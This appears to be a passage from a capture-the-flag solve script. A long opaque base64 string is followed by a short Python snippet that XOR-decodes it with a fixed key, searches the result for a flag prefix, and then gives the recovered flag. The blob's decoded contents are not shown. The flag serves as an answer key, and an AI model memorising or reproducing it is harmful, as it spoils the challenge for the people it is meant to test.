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' k = b'8675309' 
p = base64.b64decode(payload)
decode = bytes([p[i] ^ k[i%len(k)] for i in range(len(p))])
i = decode.index(b'dam{')
print(decode) 
print(decode[i-10:i+40])

dam{oh_n0_a1l_muh_k3y5_are_g0n3}